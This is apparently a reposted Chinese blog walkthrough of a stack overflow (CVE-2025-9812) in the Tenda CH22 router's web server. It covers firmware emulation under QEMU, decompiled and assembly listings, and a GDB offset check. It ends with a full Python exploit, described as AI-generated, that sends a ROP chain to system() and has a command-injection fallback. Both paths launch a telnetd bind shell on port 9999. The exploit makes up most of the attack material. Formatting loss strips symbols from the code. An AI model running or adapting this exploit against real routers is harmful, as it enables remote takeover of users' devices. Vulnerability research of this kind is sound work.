ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

Tenda CH22 httpd formexeCommand 栈溢出分析(CVE-2025-9812)

Tenda CH22 httpd formexeCommand 栈溢出分析(CVE-2025-9812) 首先我们拿到这个固件之后还是先进行查看一下这个架构这里可以看出来是32位的arm架构的~ cd /home/bgl1/renwu ~/renwu ls US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin _US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted ~/renwu cd _US_CH22V1.0BR_V1.0.0.6\(468\)_CN_TDC.bin.extracted ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted sudo ip link add br0 type bridge ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: ip link add br0 type bridge │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... [sudo] bgl1 的密码 对不起请重试。 [sudo] bgl1 的密码 ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted sudo ip addr add 192.168.0.1/24 dev br0 12s ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: ip addr add 192.168.0.1/24 dev br0 │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted sudo ip link set br0 up 3s ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: ip link set br0 up │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... ~/r/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted cd squashfs-root ~/r/_/squashfs-root sudo mount -t proc proc ./proc/ ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: mount -t proc proc ./proc/ │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo... ~/r/_/squashfs-root sudo mount -o bind /dev ./dev/ ┌──────────────────────────────────────────────┐ │ Clawd Permission Request │ │ Command: mount -o bind /dev ./dev/ │ Waiting for your response on Windows... │ └──────────────────────────────────────────────┘ Clawd decision: allow ✓ Approved! Executing with sudo...上面这一部分是我们进行仿真启动之前先设置一下网桥以及相关的文件挂载防止后面因为这些原因导致报错~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root sudo chroot . /qemu-arm-static /bin/httpd Yes: ****** WeLoveLinux ****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps: no process killed connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps-guest: no process killed INIT cert part CertInitFromFlash failed to mtd_open cert connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. Stop Ftp Sev...... PostMsg msg create error Post Msg failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. httpd listen ip 192.168.0.1 port 80 webs: Listening for HTTP requests at address 220.59.9.0 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. line:458.open /dev/flow failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory这里我们直接进行了qemu启动发现这里不需要进行path直接进行patch就行这里由于我的emba因为docker的原因无法进行正常扫描所以这里使用ai进行扫描一下这里我们发现了doSystemCmd函数这个函数内部调用的是system但是我们比较菜还是使用strcpy吧int __fastcall formexeCommand(int a1) { size_t v1; // r0 char v4[4096]; // [sp10h] [bp-231Ch] BYREF char v5[4096]; // [sp1010h] [bp-131Ch] BYREF char s1[256]; // [sp2010h] [bp-31Ch] BYREF char s[512]; // [sp2110h] [bp-21Ch] BYREF size_t n; // [sp2310h] [bp-1Ch] FILE *stream; // [sp2314h] [bp-18h] char *src; // [sp2318h] [bp-14h] int v11; // [sp231Ch] [bp-10h] memset(s, 0, sizeof(s)); memset(s1, 0, sizeof(s1)); memset(v5, 0, sizeof(v5)); memset(v4, 0, sizeof(v4)); v11 0; src (char *)sub_28B84(a1, cmdinput, unk_852EC); strcpy(s, src); sub_4F554(s1, s); if ( !strcmp(s1, cd) ) { v1 strlen(path_buf); sub_4F634(path_buf, s, v1); doSystemCmd(); } else if ( !strcmp(s1, ls) || !strcmp(s1, cat) ) { sub_4F280(s); doSystemCmd(); } else if ( !strcmp(s1, echo) ) { sub_4EFA8(s); doSystemCmd(); } else { if ( strcmp(s1, pwd) ) strcmp(s1, ping); doSystemCmd(); } stream fopen(/tmp/cmdTmp.txt, r); while ( 1 ) { memset(v4, 0, sizeof(v4)); if ( !fgets(v4, 4096, stream) ) break; n strlen(v4); if ( v11 n 1 0x1000 ) break; memcpy(v5[v11], v4, n); v11 n; } fclose(stream); sub_29504( a1, HTTP/1.1 200 OK\nContent-type: text/plain; charsetutf-8\nPragma: no-cache\nCache-Control: no-cache\n\n); sub_29504(a1, %s, v5); return sub_29A4C(a1, 200); }这里我们发现了这个漏洞函数; Attributes: bp-based frame fpd0xFFFFFFF8 ; int __fastcall formexeCommand(int) EXPORT formexeCommand formexeCommand var_22F8 -0x22F8 var_12F8 -0x12F8 s1 -0x314 s -0x214 n -0x14 stream -0x10 src -0xC var_8 -8 var_4 -4 PUSH {R4,R11,LR} ADD R11, SP, #8 SUB SP, SP, #0x2300 SUB SP, SP, #0x24 LDR R4, (_GLOBAL_OFFSET_TABLE_ - 0x4F8F4) ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_ MOV R3, #0xFFFFDCEC SUB R12, R11, #-(-8var_4) STR R0, [R12,R3] MOV R3, #0xFFFFDCE8 SUB R0, R11, #-(-8var_4) STR R1, [R0,R3] MOV R3, #0xFFFFDCE4 SUB R1, R11, #-(-8var_4) STR R2, [R1,R3] SUB R2, R11, #-(-8s) MOV R3, #0x200 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset SUB R2, R11, #-(-8s1) MOV R3, #0x100 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0xFFFFECF0 SUB R12, R11, #-(-8var_4) ADD R2, R12, R3 MOV R3, #0x1000 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0xFFFFDCF0 SUB R0, R11, #-(-8var_4) ADD R2, R0, R3 MOV R3, #0x1000 MOV R0, R2 ; s MOV R1, #0 ; c MOV R2, R3 ; n BL memset MOV R3, #0 STR R3, [R11,#-8var_8] MOV R3, #0xFFFFDCEC SUB R1, R11, #-(-8var_4) LDR R0, [R1,R3] LDR R3, (aCmdinput - 0x91DF8) ; cmdinput ADD R3, R4, R3 ; cmdinput MOV R1, R3 LDR R3, (unk_852EC - 0x91DF8) ADD R3, R4, R3 ; unk_852EC MOV R2, R3 BL sub_28B84 STR R0, [R11,#-8src] SUB R3, R11, #-(-8s) MOV R0, R3 ; dest LDR R1, [R11,#-8src] ; src BL strcpy SUB R2, R11, #-(-8s1) SUB R3, R11, #-(-8s) MOV R0, R2 MOV R1, R3 BL sub_4F554 SUB R3, R11, #-(-8s1) MOV R0, R3 ; s1 LDR R3, (aCd - 0x91DF8) ; cd ADD R3, R4, R3 ; cd MOV R1, R3 ; s2 BL strcmp MOV R3, R0 CMP R3, #0 BNE loc_4FA68我们这里查看一下这个漏洞函数formexeCommand的汇编代码我们可以计算出这个函数栈的大小SUB SP, SP, #0x2300SUB SP, SP, #0x24我们看这两句汇编的代码就是栈空间的大小8996字节这里我们发现这个s的相对偏移量为540字节这是静态调试我们去gdb动态调试一下确认一下偏移量这里先进行qemu启动~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root sudo chroot . ./qemu-arm-static -g 1234 /bin/httpd 1m 29s Yes: ****** WeLoveLinux ****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps: no process killed connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. killall: dhcps-guest: no process killed INIT cert part CertInitFromFlash failed to mtd_open cert connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. Stop Ftp Sev...... PostMsg msg create error Post Msg failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. httpd listen ip 192.168.0.1 port 80 webs: Listening for HTTP requests at address 220.59.9.0 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. line:458.open /dev/flow failed. sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB: File name too long启动gdb并且发送脚本这里看到pc指针里面是b。所以我们算出来的偏移量是对的确认完之后就可以构造rop了~/r/c/_/squashfs-root sudo cat /proc/$(pgrep qemu-arm)/maps | grep libc.so err 1|1 [sudo] bgl1 的密码 66562000-665c7000 r--p 00000000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 665cf000-665d0000 r--p 00065000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 665d0000-665d1000 rw-p 00066000 08:03 2416702 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/libc.so.0 6670f000-66714000 r--p 00000000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 6671b000-6671c000 r--p 00004000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 6671c000-6671d000 rw-p 00005000 08:03 2416697 /home/bgl1/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root/lib/ld-uClibc.so.0 ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root arm-linux-gnueabi-readelf -s lib/libc.so.0 | grep system ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root arm-linux-gnueabi-objdump -d lib/libc.so.0 | grep -A2 pop.*r0.*pc err 0|1 19744: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 19748: 00053df0 strdeq r3, [r5], -r0 1974c: 000009e8 andeq r0, r0, r8, ror #19 -- 2f354: e8bd81ff pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, pc} 2f358: 0003e1dc ldrdeq lr, [r3], -ip 2f35c: 000010fc strdeq r1, [r0], -ip -- 3224c: e8bd80bf pop {r0, r1, r2, r3, r4, r5, r7, pc} 32250: 0003b2f8 strdeq fp, [r3], -r8 32254: 000011a8 andeq r1, r0, r8, lsr #3 -- 33e48: e8bd801f pop {r0, r1, r2, r3, r4, pc} 33e4c: 000396e0 andeq r9, r3, r0, ror #13 33e50: 000017c0 andeq r1, r0, r0, asr #15 -- 33eac: e8bd801f pop {r0, r1, r2, r3, r4, pc} 33eb0: 00039684 andeq r9, r3, r4, lsl #13 33eb4: 000017c0 andeq r1, r0, r0, asr #15 -- 34470: e8bd801f pop {r0, r1, r2, r3, r4, pc} 34474: 000390b8 strheq r9, [r3], -r8 34478: 00001b18 andeq r1, r0, r8, lsl fp -- 344d4: e8bd801f pop {r0, r1, r2, r3, r4, pc} 344d8: 0003905c andeq r9, r3, ip, asr r0 344dc: 00001b18 andeq r1, r0, r8, lsl fp -- 34848: e8bd801f pop {r0, r1, r2, r3, r4, pc} 3484c: 00038ce0 andeq r8, r3, r0, ror #25 34850: 00001e90 muleq r0, r0, lr -- 348ac: e8bd801f pop {r0, r1, r2, r3, r4, pc} 348b0: 00038c84 andeq r8, r3, r4, lsl #25 348b4: 00001e90 muleq r0, r0, lr -- 35e64: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 35e68: 000376e4 andeq r7, r3, r4, ror #13 35e6c: 000009e8 andeq r0, r0, r8, ror #19 -- 3c764: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 3c768: 00030dd4 ldrdeq r0, [r3], -r4 3c76c: 000009e8 andeq r0, r0, r8, ror #19 -- 3db60: 08bd8001 popeq {r0, pc} 3db64: e3520002 cmp r2, #2 3db68: e4d13001 ldrb r3, [r1], #1 -- 3db80: e8bd8001 pop {r0, pc} 3db84: e26cc004 rsb ip, ip, #4 3db88: e35c0002 cmp ip, #2 -- 4b698: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4b69c: 00021ebc ; UNDEFINED instruction: 0x00021ebc 4b6a0: 00000d14 andeq r0, r0, r4, lsl sp -- 4bc44: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4bc48: 00021910 andeq r1, r2, r0, lsl r9 4bc4c: 00000d2c andeq r0, r0, ip, lsr #26 -- 4c174: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 4c178: 000213e0 andeq r1, r2, r0, ror #7 4c17c: 00000d44 andeq r0, r0, r4, asr #26 -- 501b0: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 501b4: 0001d37c andeq sp, r1, ip, ror r3 501b8: 000047bc ; UNDEFINED instruction: 0x000047bc -- 53b30: e8bd807f pop {r0, r1, r2, r3, r4, r5, r6, pc} 53b34: 00019ba0 andeq r9, r1, r0, lsr #23 53b38: 00000a44 andeq r0, r0, r4, asr #20 -- 5ae7c: e8bd8001 pop {r0, pc} 5ae80: e52de008 str lr, [sp, #-8]! 5ae84: ebfffff8 bl 5ae6c __libc_system0xbfc ~/renwu/ch22/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted/squashfs-root 但是由于每次启动qemu的时候因为aslr的原因导致每次地址都不一样所以就直接ai了import socket import struct import subprocess import sys import os import time # ── Config ────────────────────────────────────────────── TARGET_IP 192.168.0.1 TARGET_PORT 80 BINDSHELL_PORT 9999 OFFSET_TO_PC 540 # Confirmed with cyclic pattern # libc offsets (from lib/libc.so.0) LIBC_SYSTEM_OFFSET 0x0005a270 LIBC_POP_R0_PC_OFF 0x0003db80 # pop {r0, pc} # Approximate stack address (observed in GDB at crash point) # Adjust if this changes between QEMU runs STACK_CMD_ADDR 0x4080028c # SP20 from observed crash SP 0x40800278 # ── Helpers ───────────────────────────────────────────── def p32(x): return struct.pack(I, x 0xFFFFFFFF) def get_libc_base(): Read libc base from running qemu-arm process try: pid subprocess.check_output( pgrep -f qemu-arm.*httpd | head -1, shellTrue ).decode().strip() if not pid: return None maps subprocess.check_output( fsudo cat /proc/{pid}/maps, shellTrue ).decode() for line in maps.split(\n): if libc.so.0 in line and r-xp in line: return int(line.split(-)[0], 16) except: pass return None def send_payload(payload): Send POST request with overflow payload body bcmdinput payload sock socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) req ( fPOST /goform/exeCommand HTTP/1.0\r\n fHost: {TARGET_IP}\r\n fContent-Type: application/x-www-form-urlencoded\r\n fContent-Length: {len(body)}\r\n f\r\n ).encode() body sock.send(req) try: resp sock.recv(4096) print(f[*] Response: {resp[:200]}) except socket.timeout: print([*] No response (httpd may have crashed - expected for ROP)) sock.close() def check_shell(): Check if bind shell is listening try: s socket.socket() s.settimeout(3) s.connect((TARGET_IP, BINDSHELL_PORT)) s.send(becho SHELL_OK; id\n) time.sleep(0.5) data s.recv(4096) s.close() return data except: return None # ── Main ──────────────────────────────────────────────── def main(): print([*] CVE-2025-9812 ROP Exploit) print(f[*] Target: {TARGET_IP}:{TARGET_PORT}) print(f[*] Offset to PC: {OFFSET_TO_PC} bytes) # 1. Get libc base libc_base get_libc_base() if not libc_base: print([-] Cannot find libc base. Is httpd running?) print([*] Trying command injection fallback...) # Command injection fallback (always works) payload bls; /usr/sbin/telnetd -p %d -l /bin/sh; % BINDSHELL_PORT send_payload(payload) time.sleep(2) result check_shell() if result: print(f[] Shell via command injection! Output:\n{result.decode(errorsreplace)}) print(f[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}) else: print([-] Shell not available. Start httpd and try again.) return print(f[] libc base: 0x{libc_base:08x}) # 2. Calculate addresses system_addr libc_base LIBC_SYSTEM_OFFSET gadget_addr libc_base LIBC_POP_R0_PC_OFF cmd_addr STACK_CMD_ADDR print(f[] system: 0x{system_addr:08x}) print(f[] gadget: 0x{gadget_addr:08x}) print(f[] cmd: 0x{cmd_addr:08x}) # 3. Build ROP chain cmd b/usr/sbin/telnetd -p %d -l /bin/sh % BINDSHELL_PORT payload bA * OFFSET_TO_PC payload p32(gadget_addr) # PC → pop {r0, pc} payload p32(cmd_addr) # → R0 pointer to cmd string payload p32(system_addr) # → PC system() payload cmd b\x00 # command string (at cmd_addr) print(f[*] Payload length: {len(payload)} bytes) print(f[*] Sending ROP payload...) # 4. Send exploit send_payload(payload) # 5. Wait and check print(f[*] Waiting for shell on port {BINDSHELL_PORT}...) time.sleep(2) for attempt in range(3): print(f[*] Attempt {attempt1}...) result check_shell() if result: print(f[] GOT SHELL!\n{result.decode(errorsreplace)}) print(f[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}) return time.sleep(1) print([-] ROP shell failed. Trying command injection fallback...) payload bls; /usr/sbin/telnetd -p %d -l /bin/sh; % BINDSHELL_PORT send_payload(payload) time.sleep(2) result check_shell() if result: print(f[] Shell via command injection!) print(f[*] Connect: nc {TARGET_IP} {BINDSHELL_PORT}) if __name__ __main__: main()这样就拿到shell了
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表